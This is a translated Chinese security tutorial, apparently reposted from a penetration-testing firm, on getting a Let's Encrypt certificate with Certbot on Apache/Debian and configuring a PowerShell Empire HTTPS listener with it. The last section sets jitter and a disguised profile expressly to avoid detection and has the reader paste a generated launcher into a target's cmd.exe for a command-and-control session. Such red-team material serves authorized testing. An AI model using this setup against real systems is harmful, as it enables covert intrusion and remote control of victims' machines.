安全路透社
当前位置:安全路透社 > 安全客 > 正文

【技术分享】给PowerShell Empire配置一个信任的证书

http://p6.qhimg.com/t01b01d21c0aadf7671.png

翻译:WisFree

预估

教程概述


使用一个受信任的证书,再加上非默认的Empire配置选项,这两个因素将会大大提升你与目标网络成功建立通信会话的机率。各位可以按照这篇文章中提供的方法来进行安装和设置。


安全客百科:Let's Encrypt


Let's Encrypt是最近很火的一个免费SSL证书发行项目,该项目是由ISRG提供的免费公益项目。Let's Encrypt可以实现自动化发行证书,但是证书只有90天的有效期,该项目适合个人使用或者临时使用。Let's Encrypt目标就是致力于实现整个Web都加入TLS/SSL认证,以便站点确认来访者身份并防止中间人。因此,我们强烈推荐网站管理员和服务器平台用 Let's Encrypt 向访客提供加密连接,这是域名认证未来的发展方向。


配置方法


在这篇文章中,我们只给各位同学提供了Apache服务器(运行于Debian系统上)的配置方法,如果你使用的是其他的系统平台或服务器,你可以点击[这里]以获取详细的配置步骤。

首先,使用Let's Encrypt来为你的服务器申请一个已签名的数字证书。访问Certbot的证书部署页面[传送门],然后选择你所使用的服务器软件和操作系统。

Cerbot支持的服务器软件如下图所示:

http://p6.qhimg.com/t012b8b2d05f56da482.png

Cerbot支持的操作系统平台如下图所示:

http://p2.qhimg.com/t0142d8568fb529e874.png

在这里,我们选择Apache和Debian 8,如下图所示。

http://p0.qhimg.com/t01e0de0f523fc2916c.png


配置过程


现在,Certbot已经为你的系统打包好了所有的数据,你所要做的就是apt-get这些数据包。

开始之前,请在你的sources.list文件(在我们的环境中,该文件路径为/etc/apt/sources.list)中添加下面这行代码[详细配置步骤]

deb http://ftp.debian.org/debian jessie-backports main

然后使用下列代码进行更新:

sudo apt-get update

配置好了Jessie backports repo之后,使用下列命令安装Certbot包:

sudo apt-get install python-certbot-apache -t jessie-backports

Certbot提供了一个非常稳定的Apache插件,该插件支持多种操作平台。使用下列命令运行apache插件:

sudo certbot –apache

如果你想手动修改Apache服务器的相关配置,你可以使用certonly子命令:

certbot --apache certonly

Certbot包提供了一个定时任务,当你的证书即将过期时,这个定时任务会自动更新你的证书。由于Let’s Encrypt的证书只有九十天的有效期,所以我们强烈建议用户使用这个自动更新功能。关于自动更新功能的详细信息请参考这份文档[传送门]。你可以使用下面这条命令来测试证书的自动更新功能:

certbot renew --dry-run

如果你想了解更多Certbot的使用方法,请参阅这份使用文档[传送门]

运行了apache插件之后,系统会要求你回答一些问题。请注意,你需要在配置的过程中提供一个指向你服务器的域名(这个很便宜,赶紧去买一个),因为Let’s Encrypt是不会仅凭一个IP地址就给你颁发证书的。当然了,如果你出于某种原因无法提供有效域名的话,你也可以使用自签名证书[操作方法]

http://p4.qhimg.com/t01ddc3e19b0bbab8dc.png

现在,将你的cert.pem和privkey.pem捆绑至Empire所使用的配置文件中。操作命令如下所示:

cd /etc/letsencrypt/live/<your domain>
cat cert.pem privkey.pem > empire.pem

停止Apache服务器的运行,这样就可以空出80端口和443端口了,因为你的Empire监听器将需要使用这两个端口:

sudo Apache2 stop

在Empire中,按照下面给出的命令进行相应的配置。请注意,我们之所以要袖该Jitter的默认配置,是为了避免我们的通信会话被检测到,并提升建立会话的成功率。

listeners
set DefaultJitter 0.7
set CertPath /etc/letsencrypt/live/<your domain>/empire.pem
set Host https://<your domain>
set DefaultProfile /admin/login.php,/console/dashboard.asp,/news/today.jsp|
Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0;
Execute

现在,你已经在443端口上配置好了一个HTTPS监听器了。你可以使用下面给出的Empire命令来生成PowerShell命令并与目标主机建立通信会话了:

usestager launcher 443
execute

http://p1.qhimg.com/t01e94218c71ab72063.png

将这一大段PowerShell命令复制粘贴到目标主机的cmd.exe中,然后你就可以与目标主机建立一个拥有可信任证书的HTTPS通信会话了。


原文链接:http://www.blackhillsinfosec.com/?p=5447

未经允许不得转载:安全路透社 » 【技术分享】给PowerShell Empire配置一个信任的证书

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册